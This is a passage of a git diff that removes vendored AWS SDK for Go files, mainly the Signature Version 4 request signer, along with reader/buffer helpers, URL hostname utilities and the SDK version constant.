WithUnsignedPayload(v4 *Signer) { - v4.UnsignedPayload = true -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/signer/v4/uri_path.go b/vendor/github.com/aws/aws-sdk-go/aws/signer/v4/uri_path.go deleted file mode 100644 index bd082e9d1f..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/signer/v4/uri_path.go +++ /dev/null @@ -1,24 +0,0 @@ -// +build go1.5 - -package v4 - -import ( - "net/url" - "strings" -) - -func getURIPath(u *url.URL) string { - var uri string - - if len(u.Opaque) > 0 { - uri = "/" + strings.Join(strings.Split(u.Opaque, "/")[3:], "/") - } else { - uri = u.EscapedPath() - } - - if len(uri) == 0 { - uri = "/" - } - - return uri -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/signer/v4/v4.go b/vendor/github.com/aws/aws-sdk-go/aws/signer/v4/v4.go deleted file mode 100644 index 523db79f8d..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/signer/v4/v4.go +++ /dev/null @@ -1,796 +0,0 @@ -// Package v4 implements signing for AWS V4 signer -// -// Provides request signing for request that need to be signed with -// AWS V4 Signatures. -// -// Standalone Signer -// -// Generally using the signer outside of the SDK should not require any additional -// logic when using Go v1.5 or higher. The signer does this by taking advantage -// of the URL.EscapedPath method. If your request URI requires additional escaping -// you many need to use the URL.Opaque to define what the raw URI should be sent -// to the service as. -// -// The signer will first check the URL.Opaque field, and use its value if set. -// The signer does require the URL.Opaque field to be set in the form of: -// -// "///" -// -// // e.g. -// "//example.com/some/path" -// -// The leading "//" and hostname are required or the URL.Opaque escaping will -// not work correctly. -// -// If URL.Opaque is not set the signer will fallback to the URL.EscapedPath() -// method and using the returned value. If you're using Go v1.4 you must set -// URL.Opaque if the URI path needs escaping. If URL.Opaque is not set with -// Go v1.5 the signer will fallback to URL.Path. -// -// AWS v4 signature validation requires that the canonical string's URI path -// element must be the URI escaped form of the HTTP request's path. -// http://docs.aws.amazon.com/general/latest/gr/sigv4-create-canonical-request.html -// -// The Go HTTP client will perform escaping automatically on the request. Some -// of these escaping may cause signature validation errors because the HTTP -// request differs from the URI path or query that the signature was generated. -// https://golang.org/pkg/net/url/#URL.EscapedPath -// -// Because of this, it is recommended that when using the signer outside of the -// SDK that explicitly escaping the request prior to being signed is preferable, -// and will help prevent signature validation errors. This can be done by setting -// the URL.Opaque or URL.RawPath. The SDK will use URL.Opaque first and then -// call URL.EscapedPath() if Opaque is not set. -// -// If signing a request intended for HTTP2 server, and you're using Go 1.6.2 -// through 1.7.4 you should use the URL.RawPath as the pre-escaped form of the -// request URL. https://github.com/golang/go/issues/16847 points to a bug in -// Go pre 1.8 that fails to make HTTP2 requests using absolute URL in the HTTP -// message. URL.Opaque generally will force Go to make requests with absolute URL. -// URL.RawPath does not do this, but RawPath must be a valid escaping of Path -// or url.EscapedPath will ignore the RawPath escaping. -// -// Test `TestStandaloneSign` provides a complete example of using the signer -// outside of the SDK and pre-escaping the URI path. -package v4 - -import ( - "crypto/hmac" - "crypto/sha256" - "encoding/hex" - "fmt" - "io" - "io/ioutil" - "net/http" - "net/url" - "sort" - "strconv" - "strings" - "time" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/credentials" - "github.com/aws/aws-sdk-go/aws/request" - "github.com/aws/aws-sdk-go/internal/sdkio" - "github.com/aws/aws-sdk-go/private/protocol/rest" -) - -const ( - authHeaderPrefix = "AWS4-HMAC-SHA256" - timeFormat = "20060102T150405Z" - shortTimeFormat = "20060102" - - // emptyStringSHA256 is a SHA256 of an empty string - emptyStringSHA256 = `e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855` -) - -var ignoredHeaders = rules{ - blacklist{ - mapRule{ - "Authorization": struct{}{}, - "User-Agent": struct{}{}, - "X-Amzn-Trace-Id": struct{}{}, - }, - }, -} - -// requiredSignedHeaders is a whitelist for build canonical headers. -var requiredSignedHeaders = rules{ - whitelist{ - mapRule{ - "Cache-Control": struct{}{}, - "Content-Disposition": struct{}{}, - "Content-Encoding": struct{}{}, - "Content-Language": struct{}{}, - "Content-Md5": struct{}{}, - "Content-Type": struct{}{}, - "Expires": struct{}{}, - "If-Match": struct{}{}, - "If-Modified-Since": struct{}{}, - "If-None-Match": struct{}{}, - "If-Unmodified-Since": struct{}{}, - "Range": struct{}{}, - "X-Amz-Acl": struct{}{}, - "X-Amz-Copy-Source": struct{}{}, - "X-Amz-Copy-Source-If-Match": struct{}{}, - "X-Amz-Copy-Source-If-Modified-Since": struct{}{}, - "X-Amz-Copy-Source-If-None-Match": struct{}{}, - "X-Amz-Copy-Source-If-Unmodified-Since": struct{}{}, - "X-Amz-Copy-Source-Range": struct{}{}, - "X-Amz-Copy-Source-Server-Side-Encryption-Customer-Algorithm": struct{}{}, - "X-Amz-Copy-Source-Server-Side-Encryption-Customer-Key": struct{}{}, - "X-Amz-Copy-Source-Server-Side-Encryption-Customer-Key-Md5": struct{}{}, - "X-Amz-Grant-Full-control": struct{}{}, - "X-Amz-Grant-Read": struct{}{}, - "X-Amz-Grant-Read-Acp": struct{}{}, - "X-Amz-Grant-Write": struct{}{}, - "X-Amz-Grant-Write-Acp": struct{}{}, - "X-Amz-Metadata-Directive": struct{}{}, - "X-Amz-Mfa": struct{}{}, - "X-Amz-Request-Payer": struct{}{}, - "X-Amz-Server-Side-Encryption": struct{}{}, - "X-Amz-Server-Side-Encryption-Aws-Kms-Key-Id": struct{}{}, - "X-Amz-Server-Side-Encryption-Customer-Algorithm": struct{}{}, - "X-Amz-Server-Side-Encryption-Customer-Key": struct{}{}, - "X-Amz-Server-Side-Encryption-Customer-Key-Md5": struct{}{}, - "X-Amz-Storage-Class": struct{}{}, - "X-Amz-Tagging": struct{}{}, - "X-Amz-Website-Redirect-Location": struct{}{}, - "X-Amz-Content-Sha256": struct{}{}, - }, - }, - patterns{"X-Amz-Meta-"}, -} - -// allowedHoisting is a whitelist for build query headers. The boolean value -// represents whether or not it is a pattern. -var allowedQueryHoisting = inclusiveRules{ - blacklist{requiredSignedHeaders}, - patterns{"X-Amz-"}, -} - -// Signer applies AWS v4 signing to given request. Use this to sign requests -// that need to be signed with AWS V4 Signatures. -type Signer struct { - // The authentication credentials the request will be signed against. - // This value must be set to sign requests. - Credentials *credentials.Credentials - - // Sets the log level the signer should use when reporting information to - // the logger. If the logger is nil nothing will be logged. See - // aws.LogLevelType for more information on available logging levels - // - // By default nothing will be logged. - Debug aws.LogLevelType - - // The logger loging information will be written to. If there the logger - // is nil, nothing will be logged. - Logger aws.Logger - - // Disables the Signer's moving HTTP header key/value pairs from the HTTP - // request header to the request's query string. This is most commonly used - // with pre-signed requests preventing headers from being added to the - // request's query string. - DisableHeaderHoisting bool - - // Disables the automatic escaping of the URI path of the request for the - // siganture's canonical string's path. For services that do not need additional - // escaping then use this to disable the signer escaping the path. - // - // S3 is an example of a service that does not need additional escaping. - // - // http://docs.aws.amazon.com/general/latest/gr/sigv4-create-canonical-request.html - DisableURIPathEscaping bool - - // Disables the automatical setting of the HTTP request's Body field with the - // io.ReadSeeker passed in to the signer. This is useful if you're using a - // custom wrapper around the body for the io.ReadSeeker and want to preserve - // the Body value on the Request.Body. - // - // This does run the risk of signing a request with a body that will not be - // sent in the request. Need to ensure that the underlying data of the Body - // values are the same. - DisableRequestBodyOverwrite bool - - // currentTimeFn returns the time value which represents the current time. - // This value should only be used for testing. If it is nil the default - // time.Now will be used. - currentTimeFn func() time.Time - - // UnsignedPayload will prevent signing of the payload. This will only - // work for services that have support for this. - UnsignedPayload bool -} - -// NewSigner returns a Signer pointer configured with the credentials and optional -// option values provided. If not options are provided the Signer will use its -// default configuration. -func NewSigner(credentials *credentials.Credentials, options ...func(*Signer)) *Signer { - v4 := &Signer{ - Credentials: credentials, - } - - for _, option := range options { - option(v4) - } - - return v4 -} - -type signingCtx struct { - ServiceName string - Region string - Request *http.Request - Body io.ReadSeeker - Query url.Values - Time time.Time - ExpireTime time.Duration - SignedHeaderVals http.Header - - DisableURIPathEscaping bool - - credValues credentials.Value - isPresign bool - formattedTime string - formattedShortTime string - unsignedPayload bool - - bodyDigest string - signedHeaders string - canonicalHeaders string - canonicalString string - credentialString string - stringToSign string - signature string - authorization string -} - -// Sign signs AWS v4 requests with the provided body, service name, region the -// request is made to, and time the request is signed at. The signTime allows -// you to specify that a request is signed for the future, and cannot be -// used until then. -// -// Returns a list of HTTP headers that were included in the signature or an -// error if signing the request failed. Generally for signed requests this value -// is not needed as the full request context will be captured by the http.Request -// value. It is included for reference though. -// -// Sign will set the request's Body to be the `body` parameter passed in. If -// the body is not already an io.ReadCloser, it will be wrapped within one. If -// a `nil` body parameter passed to Sign, the request's Body field will be -// also set to nil. Its important to note that this functionality will not -// change the request's ContentLength of the request. -// -// Sign differs from Presign in that it will sign the request using HTTP -// header values. This type of signing is intended for http.Request values that -// will not be shared, or are shared in a way the header values on the request -// will not be lost. -// -// The requests body is an io.ReadSeeker so the SHA256 of the body can be -// generated. To bypass the signer computing the hash you can set the -// "X-Amz-Content-Sha256" header with a precomputed value. The signer will -// only compute the hash if the request header value is empty. -func (v4 Signer) Sign(r *http.Request, body io.ReadSeeker, service, region string, signTime time.Time) (http.Header, error) { - return v4.signWithBody(r, body, service, region, 0, false, signTime) -} - -// Presign signs AWS v4 requests with the provided body, service name, region -// the request is made to, and time the request is signed at. The signTime -// allows you to specify that a request is signed for the future, and cannot -// be used until then. -// -// Returns a list of HTTP headers that were included in the signature or an -// error if signing the request failed. For presigned requests these headers -// and their values must be included on the HTTP request when it is made. This -// is helpful to know what header values need to be shared with the party the -// presigned request will be distributed to. -// -// Presign differs from Sign in that it will sign the request using query string -// instead of header values. This allows you to share the Presigned Request's -// URL with third parties, or distribute it throughout your system with minimal -// dependencies. -// -// Presign also takes an exp value which is the duration the -// signed request will be valid after the signing time. This is allows you to -// set when the request will expire. -// -// The requests body is an io.ReadSeeker so the SHA256 of the body can be -// generated. To bypass the signer computing the hash you can set the -// "X-Amz-Content-Sha256" header with a precomputed value. The signer will -// only compute the hash if the request header value is empty. -// -// Presigning a S3 request will not compute the body's SHA256 hash by default. -// This is done due to the general use case for S3 presigned URLs is to share -// PUT/GET capabilities. If you would like to include the body's SHA256 in the -// presigned request's signature you can set the "X-Amz-Content-Sha256" -// HTTP header and that will be included in the request's signature. -func (v4 Signer) Presign(r *http.Request, body io.ReadSeeker, service, region string, exp time.Duration, signTime time.Time) (http.Header, error) { - return v4.signWithBody(r, body, service, region, exp, true, signTime) -} - -func (v4 Signer) signWithBody(r *http.Request, body io.ReadSeeker, service, region string, exp time.Duration, isPresign bool, signTime time.Time) (http.Header, error) { - currentTimeFn := v4.currentTimeFn - if currentTimeFn == nil { - currentTimeFn = time.Now - } - - ctx := &signingCtx{ - Request: r, - Body: body, - Query: r.URL.Query(), - Time: signTime, - ExpireTime: exp, - isPresign: isPresign, - ServiceName: service, - Region: region, - DisableURIPathEscaping: v4.DisableURIPathEscaping, - unsignedPayload: v4.UnsignedPayload, - } - - for key := range ctx.Query { - sort.Strings(ctx.Query[key]) - } - - if ctx.isRequestSigned() { - ctx.Time = currentTimeFn() - ctx.handlePresignRemoval() - } - - var err error - ctx.credValues, err = v4.Credentials.Get() - if err != nil { - return http.Header{}, err - } - - ctx.sanitizeHostForHeader() - ctx.assignAmzQueryValues() - if err := ctx.build(v4.DisableHeaderHoisting); err != nil { - return nil, err - } - - // If the request is not presigned the body should be attached to it. This - // prevents the confusion of wanting to send a signed request without - // the body the request was signed for attached. - if !(v4.DisableRequestBodyOverwrite || ctx.isPresign) { - var reader io.ReadCloser - if body != nil { - var ok bool - if reader, ok = body.(io.ReadCloser); !ok { - reader = ioutil.NopCloser(body) - } - } - r.Body = reader - } - - if v4.Debug.Matches(aws.LogDebugWithSigning) { - v4.logSigningInfo(ctx) - } - - return ctx.SignedHeaderVals, nil -} - -func (ctx *signingCtx) sanitizeHostForHeader() { - request.SanitizeHostForHeader(ctx.Request) -} - -func (ctx *signingCtx) handlePresignRemoval() { - if !ctx.isPresign { - return - } - - // The credentials have expired for this request. The current signing - // is invalid, and needs to be request because the request will fail. - ctx.removePresign() - - // Update the request's query string to ensure the values stays in - // sync in the case retrieving the new credentials fails. - ctx.Request.URL.RawQuery = ctx.Query.Encode() -} - -func (ctx *signingCtx) assignAmzQueryValues() { - if ctx.isPresign { - ctx.Query.Set("X-Amz-Algorithm", authHeaderPrefix) - if ctx.credValues.SessionToken != "" { - ctx.Query.Set("X-Amz-Security-Token", ctx.credValues.SessionToken) - } else { - ctx.Query.Del("X-Amz-Security-Token") - } - - return - } - - if ctx.credValues.SessionToken != "" { - ctx.Request.Header.Set("X-Amz-Security-Token", ctx.credValues.SessionToken) - } -} - -// SignRequestHandler is a named request handler the SDK will use to sign -// service client request with using the V4 signature. -var SignRequestHandler = request.NamedHandler{ - Name: "v4.SignRequestHandler", Fn: SignSDKRequest, -} - -// SignSDKRequest signs an AWS request with the V4 signature. This -// request handler should only be used with the SDK's built in service client's -// API operation requests. -// -// This function should not be used on its on its own, but in conjunction with -// an AWS service client's API operation call. To sign a standalone request -// not created by a service client's API operation method use the "Sign" or -// "Presign" functions of the "Signer" type. -// -// If the credentials of the request's config are set to -// credentials.AnonymousCredentials the request will not be signed. -func SignSDKRequest(req *request.Request) { - SignSDKRequestWithCurrentTime(req, time.Now) -} - -// BuildNamedHandler will build a generic handler for signing. -func BuildNamedHandler(name string, opts ...func(*Signer)) request.NamedHandler { - return request.NamedHandler{ - Name: name, - Fn: func(req *request.Request) { - SignSDKRequestWithCurrentTime(req, time.Now, opts...) - }, - } -} - -// SignSDKRequestWithCurrentTime will sign the SDK's request using the time -// function passed in. Behaves the same as SignSDKRequest with the exception -// the request is signed with the value returned by the current time function. -func SignSDKRequestWithCurrentTime(req *request.Request, curTimeFn func() time.Time, opts ...func(*Signer)) { - // If the request does not need to be signed ignore the signing of the - // request if the AnonymousCredentials object is used. - if req.Config.Credentials == credentials.AnonymousCredentials { - return - } - - region := req.ClientInfo.SigningRegion - if region == "" { - region = aws.StringValue(req.Config.Region) - } - - name := req.ClientInfo.SigningName - if name == "" { - name = req.ClientInfo.ServiceName - } - - v4 := NewSigner(req.Config.Credentials, func(v4 *Signer) { - v4.Debug = req.Config.LogLevel.Value() - v4.Logger = req.Config.Logger - v4.DisableHeaderHoisting = req.NotHoist - v4.currentTimeFn = curTimeFn - if name == "s3" { - // S3 service should not have any escaping applied - v4.DisableURIPathEscaping = true - } - // Prevents setting the HTTPRequest's Body. Since the Body could be - // wrapped in a custom io.Closer that we do not want to be stompped - // on top of by the signer. - v4.DisableRequestBodyOverwrite = true - }) - - for _, opt := range opts { - opt(v4) - } - - curTime := curTimeFn() - signedHeaders, err := v4.signWithBody(req.HTTPRequest, req.GetBody(), - name, region, req.ExpireTime, req.ExpireTime > 0, curTime, - ) - if err != nil { - req.Error = err - req.SignedHeaderVals = nil - return - } - - req.SignedHeaderVals = signedHeaders - req.LastSignedAt = curTime -} - -const logSignInfoMsg = `DEBUG: Request Signature: ----[ CANONICAL STRING ]----------------------------- -%s ----[ STRING TO SIGN ]-------------------------------- -%s%s ------------------------------------------------------` -const logSignedURLMsg = ` ----[ SIGNED URL ]------------------------------------ -%s` - -func (v4 *Signer) logSigningInfo(ctx *signingCtx) { - signedURLMsg := "" - if ctx.isPresign { - signedURLMsg = fmt.Sprintf(logSignedURLMsg, ctx.Request.URL.String()) - } - msg := fmt.Sprintf(logSignInfoMsg, ctx.canonicalString, ctx.stringToSign, signedURLMsg) - v4.Logger.Log(msg) -} - -func (ctx *signingCtx) build(disableHeaderHoisting bool) error { - ctx.buildTime() // no depends - ctx.buildCredentialString() // no depends - - if err := ctx.buildBodyDigest(); err != nil { - return err - } - - unsignedHeaders := ctx.Request.Header - if ctx.isPresign { - if !disableHeaderHoisting { - urlValues := url.Values{} - urlValues, unsignedHeaders = buildQuery(allowedQueryHoisting, unsignedHeaders) // no depends - for k := range urlValues { - ctx.Query[k] = urlValues[k] - } - } - } - - ctx.buildCanonicalHeaders(ignoredHeaders, unsignedHeaders) - ctx.buildCanonicalString() // depends on canon headers / signed headers - ctx.buildStringToSign() // depends on canon string - ctx.buildSignature() // depends on string to sign - - if ctx.isPresign { - ctx.Request.URL.RawQuery += "&X-Amz-Signature=" + ctx.signature - } else { - parts := []string{ - authHeaderPrefix + " Credential=" + ctx.credValues.AccessKeyID + "/" + ctx.credentialString, - "SignedHeaders=" + ctx.signedHeaders, - "Signature=" + ctx.signature, - } - ctx.Request.Header.Set("Authorization", strings.Join(parts, ", ")) - } - - return nil -} - -func (ctx *signingCtx) buildTime() { - ctx.formattedTime = ctx.Time.UTC().Format(timeFormat) - ctx.formattedShortTime = ctx.Time.UTC().Format(shortTimeFormat) - - if ctx.isPresign { - duration := int64(ctx.ExpireTime / time.Second) - ctx.Query.Set("X-Amz-Date", ctx.formattedTime) - ctx.Query.Set("X-Amz-Expires", strconv.FormatInt(duration, 10)) - } else { - ctx.Request.Header.Set("X-Amz-Date", ctx.formattedTime) - } -} - -func (ctx *signingCtx) buildCredentialString() { - ctx.credentialString = strings.Join([]string{ - ctx.formattedShortTime, - ctx.Region, - ctx.ServiceName, - "aws4_request", - }, "/") - - if ctx.isPresign { - ctx.Query.Set("X-Amz-Credential", ctx.credValues.AccessKeyID+"/"+ctx.credentialString) - } -} - -func buildQuery(r rule, header http.Header) (url.Values, http.Header) { - query := url.Values{} - unsignedHeaders := http.Header{} - for k, h := range header { - if r.IsValid(k) { - query[k] = h - } else { - unsignedHeaders[k] = h - } - } - - return query, unsignedHeaders -} -func (ctx *signingCtx) buildCanonicalHeaders(r rule, header http.Header) { - var headers []string - headers = append(headers, "host") - for k, v := range header { - canonicalKey := http.CanonicalHeaderKey(k) - if !r.IsValid(canonicalKey) { - continue // ignored header - } - if ctx.SignedHeaderVals == nil { - ctx.SignedHeaderVals = make(http.Header) - } - - lowerCaseKey := strings.ToLower(k) - if _, ok := ctx.SignedHeaderVals[lowerCaseKey]; ok { - // include additional values - ctx.SignedHeaderVals[lowerCaseKey] = append(ctx.SignedHeaderVals[lowerCaseKey], v...) - continue - } - - headers = append(headers, lowerCaseKey) - ctx.SignedHeaderVals[lowerCaseKey] = v - } - sort.Strings(headers) - - ctx.signedHeaders = strings.Join(headers, ";") - - if ctx.isPresign { - ctx.Query.Set("X-Amz-SignedHeaders", ctx.signedHeaders) - } - - headerValues := make([]string, len(headers)) - for i, k := range headers { - if k == "host" { - if ctx.Request.Host != "" { - headerValues[i] = "host:" + ctx.Request.Host - } else { - headerValues[i] = "host:" + ctx.Request.URL.Host - } - } else { - headerValues[i] = k + ":" + - strings.Join(ctx.SignedHeaderVals[k], ",") - } - } - stripExcessSpaces(headerValues) - ctx.canonicalHeaders = strings.Join(headerValues, "\n") -} - -func (ctx *signingCtx) buildCanonicalString() { - ctx.Request.URL.RawQuery = strings.Replace(ctx.Query.Encode(), "+", "%20", -1) - - uri := getURIPath(ctx.Request.URL) - - if !ctx.DisableURIPathEscaping { - uri = rest.EscapePath(uri, false) - } - - ctx.canonicalString = strings.Join([]string{ - ctx.Request.Method, - uri, - ctx.Request.URL.RawQuery, - ctx.canonicalHeaders + "\n", - ctx.signedHeaders, - ctx.bodyDigest, - }, "\n") -} - -func (ctx *signingCtx) buildStringToSign() { - ctx.stringToSign = strings.Join([]string{ - authHeaderPrefix, - ctx.formattedTime, - ctx.credentialString, - hex.EncodeToString(makeSha256([]byte(ctx.canonicalString))), - }, "\n") -} - -func (ctx *signingCtx) buildSignature() { - secret := ctx.credValues.SecretAccessKey - date := makeHmac([]byte("AWS4"+secret), []byte(ctx.formattedShortTime)) - region := makeHmac(date, []byte(ctx.Region)) - service := makeHmac(region, []byte(ctx.ServiceName)) - credentials := makeHmac(service, []byte("aws4_request")) - signature := makeHmac(credentials, []byte(ctx.stringToSign)) - ctx.signature = hex.EncodeToString(signature) -} - -func (ctx *signingCtx) buildBodyDigest() error { - hash := ctx.Request.Header.Get("X-Amz-Content-Sha256") - if hash == "" { - includeSHA256Header := ctx.unsignedPayload || - ctx.ServiceName == "s3" || - ctx.ServiceName == "glacier" - - s3Presign := ctx.isPresign && ctx.ServiceName == "s3" - - if ctx.unsignedPayload || s3Presign { - hash = "UNSIGNED-PAYLOAD" - includeSHA256Header = !s3Presign - } else if ctx.Body == nil { - hash = emptyStringSHA256 - } else { - if !aws.IsReaderSeekable(ctx.Body) { - return fmt.Errorf("cannot use unseekable request body %T, for signed request with body", ctx.Body) - } - hash = hex.EncodeToString(makeSha256Reader(ctx.Body)) - } - - if includeSHA256Header { - ctx.Request.Header.Set("X-Amz-Content-Sha256", hash) - } - } - ctx.bodyDigest = hash - - return nil -} - -// isRequestSigned returns if the request is currently signed or presigned -func (ctx *signingCtx) isRequestSigned() bool { - if ctx.isPresign && ctx.Query.Get("X-Amz-Signature") != "" { - return true - } - if ctx.Request.Header.Get("Authorization") != "" { - return true - } - - return false -} - -// unsign removes signing flags for both signed and presigned requests. -func (ctx *signingCtx) removePresign() { - ctx.Query.Del("X-Amz-Algorithm") - ctx.Query.Del("X-Amz-Signature") - ctx.Query.Del("X-Amz-Security-Token") - ctx.Query.Del("X-Amz-Date") - ctx.Query.Del("X-Amz-Expires") - ctx.Query.Del("X-Amz-Credential") - ctx.Query.Del("X-Amz-SignedHeaders") -} - -func makeHmac(key []byte, data []byte) []byte { - hash := hmac.New(sha256.New, key) - hash.Write(data) - return hash.Sum(nil) -} - -func makeSha256(data []byte) []byte { - hash := sha256.New() - hash.Write(data) - return hash.Sum(nil) -} - -func makeSha256Reader(reader io.ReadSeeker) []byte { - hash := sha256.New() - start, _ := reader.Seek(0, sdkio.SeekCurrent) - defer reader.Seek(start, sdkio.SeekStart) - - // Use CopyN to avoid allocating the 32KB buffer in io.Copy for bodies - // smaller than 32KB. Fall back to io.Copy if we fail to determine the size. - size, err := aws.SeekerLen(reader) - if err != nil { - io.Copy(hash, reader) - } else { - io.CopyN(hash, reader, size) - } - - return hash.Sum(nil) -} - -const doubleSpace = " " - -// stripExcessSpaces will rewrite the passed in slice's string values to not -// contain multiple side-by-side spaces. -func stripExcessSpaces(vals []string) { - var j, k, l, m, spaces int - for i, str := range vals { - // Trim trailing spaces - for j = len(str) - 1; j >= 0 && str[j] == ' '; j-- { - } - - // Trim leading spaces - for k = 0; k < j && str[k] == ' '; k++ { - } - str = str[k : j+1] - - // Strip multiple spaces. - j = strings.Index(str, doubleSpace) - if j < 0 { - vals[i] = str - continue - } - - buf := []byte(str) - for k, m, l = j, j, len(buf); k < l; k++ { - if buf[k] == ' ' { - if spaces == 0 { - // First space. - buf[m] = buf[k] - m++ - } - spaces++ - } else { - // End of multiple spaces. - spaces = 0 - buf[m] = buf[k] - m++ - } - } - - vals[i] = string(buf[:m]) - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/types.go b/vendor/github.com/aws/aws-sdk-go/aws/types.go deleted file mode 100644 index 8b6f23425a..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/types.go +++ /dev/null @@ -1,201 +0,0 @@ -package aws - -import ( - "io" - "sync" - - "github.com/aws/aws-sdk-go/internal/sdkio" -) - -// ReadSeekCloser wraps a io.Reader returning a ReaderSeekerCloser. Should -// only be used with an io.Reader that is also an io.Seeker. Doing so may -// cause request signature errors, or request body's not sent for GET, HEAD -// and DELETE HTTP methods. -// -// Deprecated: Should only be used with io.ReadSeeker. If using for -// S3 PutObject to stream content use s3manager.Uploader instead. -func ReadSeekCloser(r io.Reader) ReaderSeekerCloser { - return ReaderSeekerCloser{r} -} - -// ReaderSeekerCloser represents a reader that can also delegate io.Seeker and -// io.Closer interfaces to the underlying object if they are available. -type ReaderSeekerCloser struct { - r io.Reader -} - -// IsReaderSeekable returns if the underlying reader type can be seeked. A -// io.Reader might not actually be seekable if it is the ReaderSeekerCloser -// type. -func IsReaderSeekable(r io.Reader) bool { - switch v := r.(type) { - case ReaderSeekerCloser: - return v.IsSeeker() - case *ReaderSeekerCloser: - return v.IsSeeker() - case io.ReadSeeker: - return true - default: - return false - } -} - -// Read reads from the reader up to size of p. The number of bytes read, and -// error if it occurred will be returned. -// -// If the reader is not an io.Reader zero bytes read, and nil error will be returned. -// -// Performs the same functionality as io.Reader Read -func (r ReaderSeekerCloser) Read(p []byte) (int, error) { - switch t := r.r.(type) { - case io.Reader: - return t.Read(p) - } - return 0, nil -} - -// Seek sets the offset for the next Read to offset, interpreted according to -// whence: 0 means relative to the origin of the file, 1 means relative to the -// current offset, and 2 means relative to the end. Seek returns the new offset -// and an error, if any. -// -// If the ReaderSeekerCloser is not an io.Seeker nothing will be done. -func (r ReaderSeekerCloser) Seek(offset int64, whence int) (int64, error) { - switch t := r.r.(type) { - case io.Seeker: - return t.Seek(offset, whence) - } - return int64(0), nil -} - -// IsSeeker returns if the underlying reader is also a seeker. -func (r ReaderSeekerCloser) IsSeeker() bool { - _, ok := r.r.(io.Seeker) - return ok -} - -// HasLen returns the length of the underlying reader if the value implements -// the Len() int method. -func (r ReaderSeekerCloser) HasLen() (int, bool) { - type lenner interface { - Len() int - } - - if lr, ok := r.r.(lenner); ok { - return lr.Len(), true - } - - return 0, false -} - -// GetLen returns the length of the bytes remaining in the underlying reader. -// Checks first for Len(), then io.Seeker to determine the size of the -// underlying reader. -// -// Will return -1 if the length cannot be determined. -func (r ReaderSeekerCloser) GetLen() (int64, error) { - if l, ok := r.HasLen(); ok { - return int64(l), nil - } - - if s, ok := r.r.(io.Seeker); ok { - return seekerLen(s) - } - - return -1, nil -} - -// SeekerLen attempts to get the number of bytes remaining at the seeker's -// current position. Returns the number of bytes remaining or error. -func SeekerLen(s io.Seeker) (int64, error) { - // Determine if the seeker is actually seekable. ReaderSeekerCloser - // hides the fact that a io.Readers might not actually be seekable. - switch v := s.(type) { - case ReaderSeekerCloser: - return v.GetLen() - case *ReaderSeekerCloser: - return v.GetLen() - } - - return seekerLen(s) -} - -func seekerLen(s io.Seeker) (int64, error) { - curOffset, err := s.Seek(0, sdkio.SeekCurrent) - if err != nil { - return 0, err - } - - endOffset, err := s.Seek(0, sdkio.SeekEnd) - if err != nil { - return 0, err - } - - _, err = s.Seek(curOffset, sdkio.SeekStart) - if err != nil { - return 0, err - } - - return endOffset - curOffset, nil -} - -// Close closes the ReaderSeekerCloser. -// -// If the ReaderSeekerCloser is not an io.Closer nothing will be done. -func (r ReaderSeekerCloser) Close() error { - switch t := r.r.(type) { - case io.Closer: - return t.Close() - } - return nil -} - -// A WriteAtBuffer provides a in memory buffer supporting the io.WriterAt interface -// Can be used with the s3manager.Downloader to download content to a buffer -// in memory. Safe to use concurrently. -type WriteAtBuffer struct { - buf []byte - m sync.Mutex - - // GrowthCoeff defines the growth rate of the internal buffer. By - // default, the growth rate is 1, where expanding the internal - // buffer will allocate only enough capacity to fit the new expected - // length. - GrowthCoeff float64 -} - -// NewWriteAtBuffer creates a WriteAtBuffer with an internal buffer -// provided by buf. -func NewWriteAtBuffer(buf []byte) *WriteAtBuffer { - return &WriteAtBuffer{buf: buf} -} - -// WriteAt writes a slice of bytes to a buffer starting at the position provided -// The number of bytes written will be returned, or error. Can overwrite previous -// written slices if the write ats overlap. -func (b *WriteAtBuffer) WriteAt(p []byte, pos int64) (n int, err error) { - pLen := len(p) - expLen := pos + int64(pLen) - b.m.Lock() - defer b.m.Unlock() - if int64(len(b.buf)) < expLen { - if int64(cap(b.buf)) < expLen { - if b.GrowthCoeff < 1 { - b.GrowthCoeff = 1 - } - newBuf := make([]byte, expLen, int64(b.GrowthCoeff*float64(expLen))) - copy(newBuf, b.buf) - b.buf = newBuf - } - b.buf = b.buf[:expLen] - } - copy(b.buf[pos:], p) - return pLen, nil -} - -// Bytes returns a slice of bytes written to the buffer. -func (b *WriteAtBuffer) Bytes() []byte { - b.m.Lock() - defer b.m.Unlock() - return b.buf -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/url.go b/vendor/github.com/aws/aws-sdk-go/aws/url.go deleted file mode 100644 index 6192b2455b..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/url.go +++ /dev/null @@ -1,12 +0,0 @@ -// +build go1.8 - -package aws - -import "net/url" - -// URLHostname will extract the Hostname without port from the URL value. -// -// Wrapper of net/url#URL.Hostname for backwards Go version compatibility. -func URLHostname(url *url.URL) string { - return url.Hostname() -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/url_1_7.go b/vendor/github.com/aws/aws-sdk-go/aws/url_1_7.go deleted file mode 100644 index 0210d2720e..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/url_1_7.go +++ /dev/null @@ -1,29 +0,0 @@ -// +build !go1.8 - -package aws - -import ( - "net/url" - "strings" -) - -// URLHostname will extract the Hostname without port from the URL value. -// -// Copy of Go 1.8's net/url#URL.Hostname functionality. -func URLHostname(url *url.URL) string { - return stripPort(url.Host) - -} - -// stripPort is copy of Go 1.8 url#URL.Hostname functionality. -// https://golang.org/src/net/url/url.go -func stripPort(hostport string) string { - colon := strings.IndexByte(hostport, ':') - if colon == -1 { - return hostport - } - if i := strings.IndexByte(hostport, ']'); i != -1 { - return strings.TrimPrefix(hostport[:i], "[") - } - return hostport[:colon] -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/version.go b/vendor/github.com/aws/aws-sdk-go/aws/version.go deleted file mode 100644 index 5733226256..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/version.go +++ /dev/null @@ -1,8 +0,0 @@ -// Package aws provides core functionality for making requests to AWS services. -package aws - -// SDKName is the name of this AWS SDK -const SDKName = "aws-sdk-go" - -// SDKVersion is the version of this SDK -const SDKVersion = "1.17.14" diff --git 